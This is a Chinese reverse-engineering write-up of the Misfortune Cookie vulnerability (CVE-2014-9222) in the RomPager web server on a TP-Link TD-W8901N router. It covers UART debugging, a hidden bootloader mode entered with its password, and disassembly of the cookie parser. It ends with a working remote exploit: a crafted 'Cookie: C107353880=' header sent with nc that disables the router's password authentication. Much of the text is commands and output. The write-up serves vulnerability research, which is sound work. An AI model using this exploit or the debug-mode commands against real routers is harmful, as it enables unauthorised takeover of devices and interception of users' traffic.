转载

技术分析:“厄运cookie”漏洞(CVE-2014-9222)解密

“厄运cookie”漏洞(CVE-2014-9222)被公开了有一阵子,但在公开环境中还是没有深入分析这个漏洞技术细节的文章。

了解“厄运cookie”漏洞

一个名为“厄运cookie(Misfortune Cookie)”的严重漏洞正在影响全球1200万台路由器安全,D-Link、 TP-Link、华为、中兴等品牌均受到影响,攻击者可以利用漏洞远程控制设备及监控流量。

该漏洞与AllegroSoft公司开发的WEB服务器RomPager有关,RomPager被诸多路由器厂商使用,嵌入路由设备固件以及调制调解器之中。这款WEB服务器可以为路由器提供良好用户体验的Web管理接口。

技术分析:“厄运cookie”漏洞(CVE-2014-9222)解密

在RomPager 4.34版之前(RomPager软件已有10多年的历史)存在一个严重的漏洞,这个漏洞被称为 厄运cookie (Misfortune Cookie),这是因为它可以让黑客通过操作cookie来控制HTTP请求的“幸运值”。

这个漏洞编号为 CVE-2014-9222 ,如果攻击者向存在漏洞的 RomPager服务器 发送特定请求,会使得这类网关设备内存紊乱,攻击者获得管理权限。

安全研究人员Shahar Tal称:

“黑客可以发送特定http cookie给网关从而导致设备内存紊乱”

黑客控制设备后,他们可以查看受害者的上网行为,从路由器设备中经过的流量里读取文本信息,改变DNS设置,盗取用户的账户密码和敏感信息。同时,他们还可以监控网络摄像头,电脑以及其他接入网络的设备。

厄运Cookie扫描器?

那些叫做“MisfortuneCookie扫描器”如下所示,只是一个用来获取”/Allegro”路径返回字符串的简单脚本。

cawan$curl 192.168.1.1/Allegro <html>  <head>   <title>AllegroCopyright</title>  </head>  <body>   RomPager Advanced Version 4.07<br/>   (C) 1995 - 2002 Allegro SoftwareDevelopment Corporation  </body> </html> 

没啥特别的… 所以让我们进一步挖掘。我使用的路由型号是 TD-8901N,固件版本”TD-W8901Nv1_111211”。 在打开了路由的外壳, Tx和Rx 标记PCB上,说明可以通过UART来进行调试,在启动的过程中通过示波器来探测Tx的数据,表明了工作在3.3v下并且比特率为115200。现在用一个USB-to-UART转换器连接路由后再次启动路由。我们可以看到非常详细的启动日志。然而命令行下很受限,没有什么可以用的东西,如下所示:

Copyright(c) 2001 - 2012 TP-LINK TECHNOLOGIES CO., LTD. TP-LINK> TP-LINK>? Validcommands are: sys             exit            ether           wan             etherdbg        tcephydbg       ip              bridge           dot1q           pktqos          show            set             lan                                                              TP-LINK>

至少,我们可以在zynosbootloader上停止启动的过程

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00 RAM: Size= 8192 Kbytes Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000 SPI FlashQuad Enable Turn offQuad Mode   RASVersion: 1.0.0 Build 121121 Rel.08870 System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18   Press anykey to enter debug mode within 3 seconds. ....... EnterDebug Mode

在调试模式下,我们可以使用和AT命令有点相似的zynos命令,如下所示:

EnterDebug Mode athe =======Debug Command Listing ======= AT          just answer OK ATHE          print help ATBAx         change baudrate. 1:38.4k, 2:19.2k,3:9.6k 4:57.6k 5:115.2k ATENx,(y)     set BootExtension Debug Flag (y=password) ATSE          show the seed of password generator ATTI(h,m,s)   change system time to hour:min:sec or showcurrent time ATDA(y,m,d)   change system date to year/month/day or showcurrent date ATDS          dump RAS stack ATDT          dump Boot Module Common Area ATDUx,y       dump memory contents from address x forlength y ATRBx         display the  8-bit value of address x ATRWx         display the 16-bit value of address x ATRLx         display the 32-bit value of address x ATGO(x)       run program at addr x or boot router ATGR          boot router ATGT          run Hardware Test Program ATRTw,x,y(,z)RAM test level w, from address x to y (z iterations) ATSH          dump manufacturer related data in ROM ATDOx,y       download from address x for length y toPC via XMODEM ATTD          download router configuration to PCvia XMODEM ATUR          upload router firmware to flash ROM   < pressany key to continue >

通过Piotrbania [1]得知, 在一个可以被触发的“上帝模式”中可以启用隐藏的命令。那些隐藏的命令可以让我们查看内存的映射和编辑内存的内容,如下所示:

ATEN1,A847D6B1 OK athe =======Debug Command Listing ======= AT          just answer OK ATHE          print help ATBAx         change baudrate. 1:38.4k, 2:19.2k,3:9.6k 4:57.6k 5:115.2k ATENx,(y)     set BootExtension Debug Flag (y=password) ATSE          show the seed of password generator ATTI(h,m,s)   change system time to hour:min:sec or showcurrent time ATDA(y,m,d)   change system date to year/month/day or showcurrent date ATDS          dump RAS stack ATDT          dump Boot Module Common Area ATDUx,y       dump memory contents from address x forlength y ATWBx,y       write address x with  8-bit value y ATWWx,y       write address x with 16-bit value y ATWLx,y       write address x with 32-bit value y ATRBx         display the  8-bit value of address x ATRWx         display the 16-bit value of address x ATRLx         display the 32-bit value of address x ATGO(x)       run program at addr x or boot router ATGR          boot router ATGT          run Hardware Test Program AT%Tx         Enable Hardware Test Program at bootup ATBTx         block0 write enable (1=enable,other=disable)   < pressany key to continue > ATRTw,x,y(,z)RAM test level w, from address x to y (z iterations) ATWEa(,b,c,d)write MAC addr, Country code, EngDbgFlag, FeatureBit to flash ROM ATCUx         write Country code to flash ROM ATCB          copy from FLASH ROM to working buffer ATCL          clear working buffer ATSB          save working buffer to FLASH ROM ATBU          dump manufacturer related data inworking buffer ATSH          dump manufacturer related data in ROM ATWMx         set low 6 digits MAC address inworking buffer ATMHx         set hight 6 digits MAC address inworking buffer ATBS          show the bootbase seed of passwordgenerator ATLBx         xmodem upload bootbase,x is password ATSMx         set 6 digits MAC address in workingbuffer ATCOx         set country code in working buffer ATFLx         set EngDebugFlag in working buffer ATSTx         set ROMRAS address in working buffer ATSYx         set system type in working buffer ATVDx         set vendor name in working buffer ATPNx         set product name in working buffer ATFEx,y,...   set feature bits in working buffer ATMP          check & dump memMapTab ATDOx,y       download from address x for length y toPC via XMODEM   < pressany key to continue > ATTD          download router configuration to PCvia XMODEM ATUPx,y       upload to RAM address x for length yfrom PC via XMODEM ATUR          upload router firmware to flash ROM ATDC          hardware version check disable duringuploading firmware ATLC          upload router configuration file toflash ROM ATUXx(,y)     xmodem upload from flash block x to y ATERx,y       erase flash rom from block x to y ATWFx,y,z     copy data from addr x to flash addr y,length z ATXSx         xmodem select: x=0: CRC mode(default);x=1: checksum mode ATLD          Upload Configuration File and DefaultROM File to Flash ATBR              Reset to default Romfile ATCD          Convert Running ROM File to DefaultROM File into Flash   OK atmp                                                                                                       ROMIOimage start at bfc30000     1: HTPCode(RAMCODE), start=80048000,len=E0000   2: RasCode(RAMCODE), start=80048000,len=6E0000 $ROMSection:   3: BootBas(ROMIMG), start=bfc28000, len=4000   4: DbgArea(ROMIMG), start=bfc2c000, len=2000   5: RomDir2(ROMDIR), start=bfc2e000, len=2000   6: BootExt(ROMIMG), start=bfc30030, len=13FD0   7: MemMapT(ROMMAP), start=bfc44000, len=C00   8: HTPCode(ROMBIN), start=bfc44c00, len=8000      (Compressed)      Version: HTP_TC V 0.05, start: bfc44c30      Length: 10488, Checksum: CB32      Compressed Length: 41CF, Checksum: D5A5   9: termcap(ROMIMG), start=bfc4cc00, len=400  10: RomDefa(ROMIMG), start=bfc4d000, len=2000  11: LedDefi(ROMIMG), start=bfc4f000, len=400  12: LogoImg(ROMIMG), start=bfc4f400, len=2000  13: LogoImg2(ROMIMG), start=bfc51400, len=2000  14: StrImag(ROMIMG), start=bfc53400, len=32000  15: Rt11nE2p(ROMIMG), start=bfc85400, len=400  16: fdata(ROMBIN), start=bfc85800, len=10000      (Compressed)      Version: FDATA, start: bfc85830      Length: A94C, Checksum: DCEE      Compressed Length: 1D79, Checksum: 01BB  17: RasCode(ROMBIN), start=bfc95800,len=192800      (Compressed)      Version: ADSL ATU-R, start: bfc95830      Length: 3E7004, Checksum: 3336      Compressed Length: 122D57, Checksum: 3612

简单总结

1) 最初的执行是从地址0xbfc00000开始的 我们可以通过下面操作来验证:

atgobfc00000   BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00 RAM: Size= 8192 Kbytes Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000 SPI FlashQuad Enable Turn offQuad Mode   RASVersion: 1.0.0 Build 121121 Rel.08870 System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18   Press anykey to enter debug mode within 3 seconds. ......... EnterDebug Mode

2) zynosbootloader 从地址0×80000000开始的。在执行的前一阶段它会解包和解压。如下所示,这并不完全是在ras固件的0x14C33镜像

cawan$binwalk ras   DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 61315         0xEF83          ZyXEL rom-0 configuration block,name: "dbgarea", ... 61564         0xF07C          ZyXEL rom-0 configuration block, name:"dbgarea", ... 85043         0x14C33         LZMA compressed data, properties: 0x5D... 118036        0x1CD14         Unix path: /usr/share/tabset/vt100:/ 118804        0x1D014         ZyXEL rom-0 configuration block, name:"spt.dat", ... 118824        0x1D028         ZyXEL rom-0 configuration block, name:"autoexec.net", ... 128002        0x1F402         GIF image data, version"89a", 200 x 50 136194        0x21402         GIF image data, version"89a", 560 x 50 244317        0x3BA5D         Neighborly text, "neighbor ofyour ADSL Router that ... 281224        0x44A88         Unix path: /I/J/L/M 328173        0x501ED         Copyright string: "Copyright (c)2001 - 2012 TP-LINK ... 350259        0x55833         LZMA compressed data, properties:0x5D, ... 415795        0x65833         LZMA compressed data, properties:0x5D, ...

所以,应该通过atdo命令将它从内存中备份出来。

3) 路由所用的RTOS THREADX和allegrorompager一起从地址0×80020000开始。再一次,在执行的前一阶段它会解包和解压。至少地址0×65883的镜像会完整的从固件中提取出来,如下所示。除此之外,处理器构架也能够像下面这样探测到。

cawan$binwalk --disasm --minsn=100 65833   DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             MIPS executable code, 32/64-bit,big endian, ...

所以, 0×65883的镜像已经准备载入IDA Pro ,其基址0×8002000,处理器构架为MIPS大端。通过 Lior Oppenheim and Shahar Tal [2]得知, 这个漏洞的存在是因为rompager的web服务器中缺少了对“Cookie: C”的解释,当我们如下所做:

cawan$curl --header 'Cookie: C' 192.168.1.1

会导致路由出现某种错误并且立即重启。通过UART口的信息,我们可以到类似“Kernel Panic”的错误输出。如下所示:

TP-LINK> TLB refillexception occured! EPC=0x8010E5D8 SR=0x10000003 CR=0xC080500C $RA=0x00000000 BadVirtual Address = 0x00000000 UTLB_TLBS../core/sys_isr.c:267 sysreset()         $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001         $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000         $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38$t3= 0x804A9E47         $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040         $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70         $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x00000000         $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C         $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0   00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e d5 ba 00 00 00 01     .^+...*p.N...... 805e2bd8:80 4e d5 ba 00 00 00 00 80 40 f8 ac 80 48 4e 29     .N.......@...HN) 805e2be8:80 55 54 4c 42 5f 54 4c 42 53 00 ba 80 41 34 0c     .UTLB_TLBS...A4. 805e2bf8:80 5e 2c 18 80 10 e5 e0 80 42 64 dc 80 4e d5 b9     .^,......Bd..N.. 805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@...... 805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@...... 805e2c28:00 00 00 00 80 16 c4 28 80 5e 2c 40 80 10 ec 28     .......(.^,@...( ... ... 805e2f68:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2f78:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2f88:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2f98:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2fa8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2fb8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805e2fc8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................  current task  = httpd  dump task     = network  tx_stack_ptr  = 0x805D5990  tx_stack_start = 0x805D3AF0  tx_stack_end  = 0x805D5AEF  tx_stack_size = 0x00002000  tx_run_count  = 0x00000220   00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805d5990:00 00 00 00 80 5d 5a 70 80 44 2b f8 80 4a db 98     .....]Zp.D+..J.. 805d59a0:80 44 2c 8c 80 44 2c 90 80 44 2c 7c 80 44 2c 94     .D,..D,..D,|.D,. 805d59b0:80 4a db 98 10 00 00 01 00 00 00 0a 00 00 00 00     .J.............. 805d59c0:80 1e cc ac 10 00 00 01 00 00 00 00 80 51 47 98     .............QG. 805d59d0:00 00 00 00 00 00 05 dc 00 00 00 14 c0 a8 01 90     ................ 805d59e0:80 5d 5a 90 80 07 20 c8 80 45 23 34 00 00 00 01     .]Z... ..E#4.... 805d59f0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805d5a00:00 00 00 00 80 4d ac 88 80 52 90 38 00 00 00 01     .....M...R.8.... 805d5a10:c0 a8 01 90 00 00 00 01 80 5d 5a 90 80 51 47 98     .........]Z..QG. 805d5a20:80 45 23 34 00 00 00 14 00 00 00 00 00 00 00 00     .E#4............ 805d5a30:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................ 805d5a40:00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 01 01     ................ 805d5a50:10 00 00 01 80 4a db 98 00 00 00 00 00 00 00 00     .....J.......... ... ... Reservefor Print when Crash Erasing 4KSector... Erasing 4KSector... writeRomBlock():Erase OK! 

现在我们可以看出,错误出现在httpd的进程上,而且PC指针指向0x8010E5D8。让我们在IDA Pro中查细节

ROM:8010E5B0loc_8010E5B0:                           # CODE XREF: sub_8010E574+EC j ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C' ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618 ROM:8010E5B8                 li      $a1, 0x3D ROM:8010E5BC                 addiu   $s0, 1 ROM:8010E5C0                 move    $a0, $s0       ROM:8010E5C4                 jal     sub_8016C340 ROM:8010E5C8                 nop ROM:8010E5CC                 move    $a0, $s0       ROM:8010E5D0                 move    $s1, $v0       ROM:8010E5D4                 addiu   $s1, 1 ROM:8010E5D8                 jal     sub_801F2E74 ROM:8010E5DC                 sb      $zero, -1($s1) ROM:8010E5E0                 move    $a0, $s1       ROM:8010E5E4                 jal     sub_8016CA24 ROM:8010E5E8                 move    $s3,$v0       ROM:8010E5EC                 li      $a2, 0x28 ROM:8010E5F0                 mul     $t2, $s3, $a2   ROM:8010E5F4                 move    $a1, $s1       ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28 ROM:8010E5FC                 move    $s0, $v0 ROM:8010E600                 addu    $at, $s1, $s0   ROM:8010E604                 addu    $a0, $t5, $t2   ROM:8010E608                 jal     sub_8016A784 ROM:8010E60C                 sb      $zero, 0($at) ROM:8010E610                 j       loc_8010E644   ROM:8010E614                 addu    $s0, $s1, $s0 ROM:8010E618  #---------------------------------------------------------------------------

令人兴奋的是,这正是[2]中所提及的代码。在ROM:8010E5F0中,看起来Cxxx=yyy语法会被解释成xxx乘以0×28再将结果加上ROM:8010E5F8中所示的基址,然后使用这个新地址作为目的地址复制yyy的值(ROM:8010E608)。因此,这可以让我们实现任意写。从另外一方面来说,这有可能能让我们以”sys pwauthen 0”的形式”解锁”路由,如下所示:

cawan$curl 192.168.1.1 <html>  <head>   <title>ProtectedObject</title>  </head>  <body>   <h1>ProtectedObject</h1>Username or Password error  </body> </html> TP-LINK>sys pswauthen 0 Do notneed password authentication for configuration! TP-LINK> cawan$curl 192.168.1.1 <html>  <head>   <title></title>  </head>  <frameset border="0"frameborder="0" framespacing="0"rows="65,75,*">   <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>   <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>   <frame marginheight="0"marginwidth="0" name="main" noresize=""src="../status/status_deviceinfo.htm"></frame>  </frameset>  <noframes></noframes> </html> 

所以,让我们来找出“解锁”字节的准确位置。通过追踪字符串”Do not need passwordauthentication for configuration!”,在ROM:801F9168的指令中,看起来“解锁”字节在地址0x8034FF94上。现在,让我们来验证它。通过0×80000000的内存备份,固件的解压工作在地址0x80014BC0之前已经完成,还有通过指令”jalr $s0”跳转到 0×80020000地址。通过IDA Pro,我们可以知道$at 等于0×80020000,如果我们把ROM:0x80014BC0的指令”jalr $s0”更改到”sw $s0, -4($at)”,那么当镜像被解压后,它会复制$s0里面的内容到0x8001FFFC,然后在这停止启动。所以通过读取地址0x8001FFFC的内容,我们可以知道zynos将要跳转到0×80020000或者其他地方。

让我们试一试:

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00 RAM: Size= 8192 Kbytes Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000 SPI FlashQuad Enable Turn offQuad Mode RASVersion: 1.0.0 Build 121121 Rel.08870 System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18 Press anykey to enter debug mode within 3 seconds. ............ EnterDebug Mode ATEN1,A847D6B1 OK ATWL80014BC0, ac30fffc OK atgr  (Compressed)  Version: FDATA, start: bfc85830  Length: A94C, Checksum: DCEE  Compressed Length: 1D79, Checksum: 01BB Flash datais the same!!  (Compressed)  Version: ADSL ATU-R, start: bfc95830  Length: 3E7004, Checksum: 3336  Compressed Length: 122D57, Checksum: 3612 ERROR atrl8001fffc 8001FFFC:80020000 

这里有一个小小的提醒,ac30fffc是”sw $s0, -4($at)”的16进制值。现在我们可以确定解压后的镜像基址在0×80020000。这如上面所提及到的,我们知道”解锁”字节在地址0x8034FF94上,如果我们将它从”1”改到”0”,那么此时路由应该不需要密码验证了。让我们来试试看:

atrb8034ff94 8034FF94:01   OK atwb8034ff94,0 OK atgo80020000   Copyright(c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD initializech = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a initializech = 1, ethernet address: 14:cc:20:57:38:2a WanChannel init ........ done Reset dmt Check DMTversion =b2 ........ InitializingADSL F/W ........ done ADSL HWversion: b2, HCLK 140 ok   ==>natTableMemoryInit <==natTableMemoryInitANNEXAIJLM US bitswapon,DS bitswap on OlrON SRAON Testlab 32 largeD flag=2(0:maxD=64, 1:maxD=128, 2:maxD=511) portreverse: on   inputline: sysdisa Erasing 4KSector...   Erasing 4KSector...   writeRomBlock():Erase OK! ble PM! DyingaspOFF! dhcpaddress probe action is disabled Valid Lossof power OFF! rundistributePvcFakeMac! set trymultimode number to 3 (dropmode try num 3) Syncookieswitch On! rundistributePvcFakeMac! rundistributePvcFakeMac! run d Erasing 4KSector...   Erasing 4KSector...   writeRomBlock():Erase OK! istributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! PressENTER to continue... cawan$curl 192.168.1.1 <html>     <head><title></title>     </head>     <frameset border="0"frameborder="0" framespacing="0" rows="65,75,*">         <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>         <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>         <frame marginheight="0"marginwidth="0" name="main" noresize=""src="../status/status_deviceinfo.htm"></frame>     </frameset>     <noframes></noframes> </html>

好极了,毫无疑问的是现在已经工作在“解锁”模式了。所以现在是时候远程利用这个漏洞了。通过httpd代码段可以知道,看起来我们为了算出在ROM:8010E608中写操作的目的地址应该先了解在ROM:8010E5F8的$s4值是多少。代码段如下所示:

ROM:8010E5B0loc_8010E5B0:                           # CODE XREF: sub_8010E574+EC j ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C' ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618 ROM:8010E5B8                 li      $a1, 0x3D ROM:8010E5BC                 addiu   $s0, 1 ROM:8010E5C0                 move    $a0, $s0       ROM:8010E5C4                 jal     sub_8016C340 ROM:8010E5C8                 nop ROM:8010E5CC                 move    $a0, $s0       ROM:8010E5D0                 move    $s1, $v0       ROM:8010E5D4                 addiu   $s1, 1 ROM:8010E5D8                 jal     sub_801F2E74 ROM:8010E5DC                 sb      $zero, -1($s1) ROM:8010E5E0                 move    $a0, $s1       ROM:8010E5E4                 jal     sub_8016CA24 ROM:8010E5E8                 move    $s3, $v0       ROM:8010E5EC                 li      $a2, 0x28 ROM:8010E5F0                 mul     $t2, $s3, $a2   ROM:8010E5F4                 move    $a1, $s1       ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28  # $s4 = ? ROM:8010E5FC                 move    $s0, $v0 ROM:8010E600                 addu    $at, $s1, $s0   ROM:8010E604                 addu    $a0, $t5, $t2   ROM:8010E608                 jal     sub_8016A784 ROM:8010E60C                 sb      $zero, 0($at) ROM:8010E610                 j       loc_8010E644   ROM:8010E614                 addu    $s0, $s1, $s0 ROM:8010E618  #---------------------------------------------------------------------------

现在的问题是如何获得在ROM:8010E5F8中$s4的值? 其实很简单,只要将$s4里面的内容复制到一个很少用到的寄存器如$s7,然后立即触发”Kernel Painc”。我们现在来试试,首先我们将

ROM:8010E5FC                 move    $s0, $v0 ROM:8010E600                 addu    $at, $s1, $s0

改变成

ROM:8010E5FC                 add    $s7, $s4,$zero ROM:8010E600                 jr    $zero

这两条指令的hex值为

"add$s7, $s4,$zero"   =  0x0280b820 "jr$zero"             =  0x00000008

此时,我们就能获得$s4的值

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00 RAM: Size= 8192 Kbytes Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000 SPI FlashQuad Enable Turn offQuad Mode   RASVersion: 1.0.0 Build 121121 Rel.08870 System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18   Press anykey to enter debug mode within 3 seconds. ....... EnterDebug Mode ATEN1,A847D6B1 OK ATWL80014BC0, ac30fffc OK ATGR      (Compressed)      Version: FDATA, start: bfc85830      Length: A94C, Checksum: DCEE      Compressed Length: 1D79, Checksum: 01BB Flash datais the same!!      (Compressed)      Version: ADSL ATU-R, start: bfc95830      Length: 3E7004, Checksum: 3336      Compressed Length: 122D57, Checksum: 3612   ERROR ATWL8010E5FC, 0280b820 OK ATWL8010E600, 00000008 OK ATGO80020000   Copyright(c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD initializech = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a initializech = 1, ethernet address: 14:cc:20:57:38:2a WanChannel init ........ done Reset dmt Check DMTversion =b2 ........ InitializingADSL F/W ........ done ADSL HWversion: b2, HCLK 140 ok   ==>natTableMemoryInit <==natTableMemoryInitANNEXAIJLM US bitswapon,DS bitswap on OlrON SRAON Testlab 32 largeDflag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511) portreverse: on   inputline: sysdisa Erasing 4KSector...   Erasing 4KSector...   writeRomBlock():Erase OK! ble PM! DyingaspOFF! dhcpaddress probe action is disabled Valid Lossof power OFF! rundistributePvcFakeMac! set trymultimode number to 3 (dropmode try num 3) Syncookieswitch On! rundistributePvcFakeMac! rundistributePvcFakeMac! run d Erasing 4KSector...   Erasing 4KSector...   writeRomBlock():Erase OK! istributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! rundistributePvcFakeMac! PressENTER to continue...   Erasing 4KSector...   Erasing 4KSector...   writeRomBlock():Erase OK!

现在只要简单的发出一个cookie给路由,就会立即触发”Kernel Panic”

cawan$curl --header 'Cookie: C9=9' 192.168.1.1

在UART端口,我们能够立即看到 技术分析:“厄运cookie”漏洞(CVE-2014-9222)解密

TLB refillexception occured! EPC=0x00000000 SR=0x10000003 CR=0x50805808 $RA=0x80020000 BadVirtual Address = 0x00000000 UTLB_TLBL../core/sys_isr.c:267 sysreset()   $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001   $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000   $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2=0x804A8F38 $t3= 0x804A9E47   $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040   $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70   $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x8040F8AC   $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C   $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0     00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e fe 1e 80 4e fe 20     .^+...*p.N...N. 805e2bd8:80 4e fe 21 00 00 00 09 80 40 f8 ac 80 48 4e 29     .N.!.....@...HN) 805e2be8:80 55 54 4c 42 5f 54 4c 42 4c 00 21 80 1f 2e 88     .UTLB_TLBL.!.... 805e2bf8:80 5e 2c 18 80 10 e5 ec 80 42 64 dc 80 4e fe 1d     .^,......Bd..N.. 805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@...... 805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@...... ... ... 

好了, 正如我们想要实现的,EPC为 0×00000000。除此之外$s7的值为0x8040F8AC 也就是我们所寻找的$s4的值

现在,我们知道了$s4的值为0x8040F8AC,还有$t5的值为0x804163D4,即0x804163D4是对目的地址进行写操作的基址。因为我们需要覆盖0x8034FF94的值,所以:

0x8034FF94- 0x804163D4 = 0xFFF39BC0     # do thisin dword 0xFFF39BC0% 0x28 = 0                   # do this inqword 0xFFF39BC0/ 0x28 = 0x06661718           # do thisin qword 0x06661718= 107353880 (in decimal)

因为地址0x8034FF94正好是0×28字节对齐的chunk中的地一个字节,以至于我们只能通过null(0×00)覆盖一个字节。然而,如果我们通过curl给路由发送一个特别构造的数据包是有点不恰当,因为curl会用0x0d0a0d0a填充header。作为替代用nc来发送特别构造的数据包是一个更好的选择。将这个特别构造的数据包定义成一个文件再通过管道传到nc再发送至路由来远程“解锁”。让我们现在来试试

cawan$ cat./cawan_header | xxd 0000000:4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U 0000010:7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/ 0000020:372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192 0000030:2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept: 0000040:202a 2f2a 0a43 6f6f 6b69 653a 2043 3130  */*.Cookie: C10 0000050:3733 3533 3838 303d 000a                7353880=..
cawan$curl 192.168.1.1 <html> <head> <title>ProtectedObject</title></head><body> <h1> ProtectedObject</h1> Usernameor Password error</body></html>
cawan$ cawan$ catcawan_header | nc 192.168.1.1 80 cawan$
cawan$curl 192.168.1.1 <html>  <head><title></title>  </head>  <frameset border="0"frameborder="0" framespacing="0"rows="65,75,*">   <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>   <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>   <frame marginheight="0"marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame>  </frameset>    <noframes></noframes> </html> 

Cool,完成了,看起来Misfortune Cookie漏洞真是有意思。

参考资料

[1] http://piotrbania.com/all/articles/tplink_patch/

[2] http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf

PDF下载

https://www.scribd.com/doc/256266998/Misfortune-Cookie-Demystified

闲聊无意发现一个网站有此篇文章,故此多番打听才知道该文章由一个不知名团队Evil.Team的Cawan发布,而cawan就是著名的马来西亚大牛茶博士,其余成员暂无任何资料,据了解此团队主要研究嵌入式设备安全、物联网安全、信号系统安全、协议安全等。

[作者/Cawan,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...